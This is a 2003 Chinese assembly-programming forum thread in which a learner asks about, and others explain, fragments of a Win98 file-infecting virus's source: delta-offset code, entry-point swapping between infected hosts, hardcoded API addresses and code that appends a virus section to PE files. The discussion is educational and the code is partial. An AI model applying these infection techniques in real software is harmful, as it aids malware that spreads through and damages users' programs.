看了win98病毒原理制作后,有很多问题和感想,大伙儿一起讨论讨论

ibanez550 2003-09-24 12:26:22
本人没编过汇编程序,对汇编指令也不了解,但是某天看了彬整理的文档,就是那个帮助大杂烩,简直太吸引人了,看了那篇暴力搜索api函数地址的文章,被深深的打动了,那种想法充满了想象力和创造力,还有那个exe自删除的做法,太神奇了。win98病毒制作原理的代码看了,有很多地方不清楚,特别是很多技巧性的地方,大伙儿能讨论讨论为什么这样写,还有其它的代替方法吗。其实估计有很多地方需要自己调试才能想通是怎么回事,大家都知道只有调试才能明白程序是怎么工作的,特别是程序执行的机制,请高手达人们说说调试的技巧(对我们菜鸟),先提出我现在有的疑问,大伙儿有的再加
因为只看了几天的汇编,提出的问题大家不要见笑,呵呵
1.BadDay SEGMENT PARA USE32 'BadDay'
assume cs:BadDay,ds:BadDay
vstart:
push ebp
push esp
call nstart
nstart:
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
这里use32指什么,不太明白,还有请高手详细讲解一下这个偏移差的原理
(call nstart
nstart:)这两句看到是为了迷惑反编译的,是这样吗
2.; * 更改程序入口地址 *
cmp now_basein[ebp],0
jnz gonext
mov now_basein[ebp],401000h
gonext:
cmp des_basein[ebp],0
jnz change
mov des_basein[ebp],401000h
change:
mov eax,now_basein[ebp]
push des_basein[ebp]
pop now_basein[ebp]
mov des_basein[ebp],eax
这里的401000h是怎么来的,不明白,change下的是两个地址对换,对吧
3.先跳过去问一个最迷惑的问题
vCreatefile:
mov jumpaddr[ebp],0BFF77B5BH
jmp jumpaddr[ebp]
象这个 函数的地址0BFF77B5BH怎么来的,还有
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebp].cFileName
push eax
call vCreateFile
详细讲解一下这种调用函数的方法,参数是怎么传递给函数的
先问到这儿吧,高手们给咱们讲讲课,呵呵
...全文
106 30 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
30 条回复
切换为时间正序
请发表友善的回复…
发表回复
kugou123 2004-01-31
  • 打赏
  • 举报
回复
给大家推荐CVC的第一期杂志,其中你们讨论的很多问题,在里面都有提到
http://www.logincom.com/cvc_issue1.chm
Aofa_lee 2004-01-30
  • 打赏
  • 举报
回复
我说的是病毒~
Aofa_lee 2004-01-30
  • 打赏
  • 举报
回复
你也想学写吗???
red-fly 2004-01-30
  • 打赏
  • 举报
回复
study hard.....
YiDing0413 2003-10-08
  • 打赏
  • 举报
回复
movzx的意思是mov后,不足的位数用0填充
ibanez550 2003-09-28
  • 打赏
  • 举报
回复
在增加新节那段代码有一些疑问,大家来看看
;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--


movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader
add eax,18h
mov Section_addr[ebp],eax
;得到第一个节的地址

?????SizeOfOptionalHeader在PE里的说明是OptionalHeader的大小
那么再加18H是什么意思,也许Section_addr这个名字让我产生了歧义,呵呵

;------------------------------------(上面的)--

mov checker_len[ebp],offset vend-offset vstart
;得到病毒代码的长度
;------------------------------------(上面的)--

movzx eax,PE_head[ebp].FileHeader.NumberOfSections
inc eax
mov ecx,28h
mul ecx
add eax,Section_addr[ebp]
add eax,PE_head_addr[ebp]
cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders
;检测当前文件头的剩余空间可否再加一个节。

?????SizeOfHeaders在PE里的说明是所有头和节表的大小(文件大小减去所有节,没理解错的话),那么这儿所有节加上一个增加的节的大小加上Section_addr[ebp]和PE_head_addr[ebp](PE_head的偏移量)是什么意思

;------------------------------------(上面的)--

ja exitwrite
lea esi,Section_table[ebp]
movzx eax,PE_head[ebp].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add esi,eax
?????这儿是不是把偏移地址指在Section_table[ebp]变量后?
顺便问一下movzx和mov有多大区别

inc PE_head[ebp].FileHeader.NumberOfSections
lea edi,new_section[ebp]
xchg edi,esi
?????这儿我始终不明白为什么用xchg edi,esi这么一条指令,有什么技巧吗
;填加一个节

先提出这几个问题吧,还没看下去
NOV 2003-09-28
  • 打赏
  • 举报
回复
1:18H是IMAGE_NT_HEADERS里的Signature和IMAGE_FILE_HEADER的大小。
2:我也不太清楚,应该是要再减去文件的基地址后才和SizeOfOptionalHeader比较的。
3:你看一下它的定义,Section_table是紧跟在PE_head后面定义的。movzx,mov书上有说的。
4:你先别急,看看后面填充新节IMAGE_SECTION_HEADER结构那部分就知道了。
以上是个人理解,希望大家讨论。
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
伙伴们,这两天一直在看PE的教程
对PE大致了解了一下,等看完了再把随后的问题发上来
大伙儿看过源程序的有问题的也可以提出来啊,大家可以互相切磋提高阿
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to vBin(彬):
对你只有说感谢了,呵呵
这些充满想象力的方法就像用八个手指点弦一样吸引人,
敬礼
vBin 2003-09-26
  • 打赏
  • 举报
回复
API函数在内存中的地址跟CPU没有无系!
是与你的系统版本有关的!
发果我跟你用的是相同版本的WINDOWS系统,那我们的API函数在内存中的地址是一样的!

可以通过调试的方法得到。
如:写个程序 call MessageBox。
然后在SOFTICE中,bpx MessageBox
不就能跟到函数的地址了吗?
看雪的网站上也有软件下载,可以得到本机的API函数在内存中的地址!
W32API 2003-09-26
  • 打赏
  • 举报
回复
针对特定的环境所得出的一种类似规律。。。
有这些东西存在的时候,必然会出现只可适用特定范围的情况。
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to blooney(野比) :
已经发给你了,请查收,有空交流一下啊
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to YiDing0413(一丁):
非常感谢丁丁详细耐心的讲解,敬礼,呵呵
第一个问题明白了
第二,第三个问题看了后面彬的回答更明白了
总之你是高手一定要关注后面的发展啊
ibanez550 2003-09-26
  • 打赏
  • 举报
回复
to cwanter(亚玛逊河上的渔夫);
非常感谢,讲的非常清楚明白,真的太好了,这个论坛也很棒
关于硬编码的详细地址是怎么得来的,这在不同的cpu上计算出的地址应该不一样吧
这样的地址是不是用调试的方法试出来的
vBin 2003-09-26
  • 打赏
  • 举报
回复
写的代码很不规范,不好意思。

1、其它朋友们说得已经很详细了
2、其实问题是这样的。
举个例子说明一下吧,会更容易理解:
A程序是刚刚编译好的此病毒程序
B、C程序是干净的!

当A程序感染B程序时会将B程序的入口地址存到des_basein中
当B程序感染C程序时,在感染过程中,B程序会从des_basein中取出自己
以前的入口地址并放到now_basein暂为存储。之后再将C程序的入口
地址存到des_basein中。病毒程序运行完后,利用暂存的now_basein跳回
源程序入口

就这样,一直循环下去....


cmp now_basein[ebp],0
jnz gonext
mov now_basein[ebp],401000h
gonext:

cmp des_basein[ebp],0
jnz change
mov des_basein[ebp],401000h
change:

这8行,只在病毒编译好后,第一次运行时才会派上用场。那时des_basein
内的内容肯定为0,所以才赋一个401000地址!
或许你会问,为什么要赋401000这个数呢?因为我调试过,用MASM编译后
没有进行特别的处理,入口地址都会在401000处。
(PS:其实这8行很罗索!完全可以简单一点。)

3、vCreatefile:
mov jumpaddr[ebp],0BFF77B5BH
jmp jumpaddr[ebp]
0BFF77B5BH这个地址,是编写程序时我所用的系统内CreateFile函数所在的内存地址!
你可以通过一些软件得到这个地址!
你也可以通过其它方法得到API函数的地址,像“自建(导)引入表“或“暴力搜索内存空间获得 Api 的线性地址“等
这两篇文章都可以从CHM文档中看到!

参数是怎么传递给函数的已经有网友朋友介绍过了。








tanguangzhang 2003-09-26
  • 打赏
  • 举报
回复
来报到一下,大家继续谈论吧,我正听得津津有味呢~~~!
如果多点这方面的话题该多好啊!
继续关注!
^-^!
blooney 2003-09-26
  • 打赏
  • 举报
回复
to ibanez550(愤怒的荷包蛋) :
我的邮箱blooney@sohu.com谢谢了 啊
ibanez550 2003-09-25
  • 打赏
  • 举报
回复
第二个问题有高人能讲讲吗
ibanez550 2003-09-25
  • 打赏
  • 举报
回复
to blooney:
告诉我邮箱,我发给你
顺便说一句,你的昵称(没理解错的话)太牛了吧= =!!!!
ibanez550 2003-09-25
  • 打赏
  • 举报
回复
to BraveHeart2222:
原来是这样啊,明白了
very三颗油
加载更多回复(10)
Windows 10或Windows 11操作系统中,用户经常会遇到共享打印机时出现的一系列错误代码,这些错误代码可能会阻碍打印机共享功能的正常使用。常见的错误代码包括0x00000057、0x00000709和0x0000011b,这些代码通常指出了不同的问题,比如权限不足、服务未运行或配置错误等。除此之外,还有一些故障提示如“连接失败”或“内存不足”,这些都可能影响到打印机共享的稳定性。 要解决这些故障,首先要确保打印机已经正确地连接到网络,并且在需要共享的电脑上进行了设置。确保打印机驱动程序是最新的,并且在共享设置中没有错误配置。对于权限问题,需要检查网络上的用户账户是否具有足够的权限来访问共享打印机。同时,也要确保打印机服务正在运行,特别是“Print Spooler”服务,因为这是打印机共享服务的核心组件。 在某些情况下,问题可能与操作系统的更新有关,如升级到最新版的Windows 10或Windows 11后可能出现的兼容性问题。这时,可能需要查看微软的官方支持文档来获取特定的解决方案或更新。 对于错误代码0x00000057,这通常是由于没有足够的权限来访问网络打印机或其共享资源,解决方法是确保网络打印机的权限设置正确,包括在组策略中设置相应的访问权限。而0x00000709错误可能是由于打印机驱动问题或打印机端口配置错误,可以尝试重新安装或更新打印机驱动来解决。至于0x0000011b错误,这往往是因为打印机队列服务的问题,检查并重启“Print Spooler”服务通常是解决这类问题的常见手段。 至于“连接失败”或“内存不足”这类故障,通常与客户端和打印机之间的网络连接以及打印机本地资源的使用情况有关。检查网络连接,确保打印机所在的网络段没有故障或中断。同时,如果打印机的打印队列长时间得不到处理,可能会导致内存不足的情况,这时可能需要清理打印队列或增加打印机的内存配置。 为了帮助用户更快速地解决这些问题,市面上出现了各种打印机共享错误修复工具。这些工具往往通过预设的修复程序来自动检测和修正打印机共享中常见的问题。它们可以快速检查打印机驱动、网络连接以及共享设置,并且能够提供一键修复功能,大幅减少了用户自行排查和解决问题的难度。 然而,在使用这些修复工具之前,用户应确保这些工具的来源是安全可靠的,避免因使用不当的修复工具而引发其他系统安全或隐私问题。用户可以到官方平台或者信誉良好的软件提供商处下载这些工具。通过细心检查打印机的共享设置,及时更新驱动程序和服务,以及合理使用修复工具,大多数共享打印机的问题都可以得到有效的解决。

21,497

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧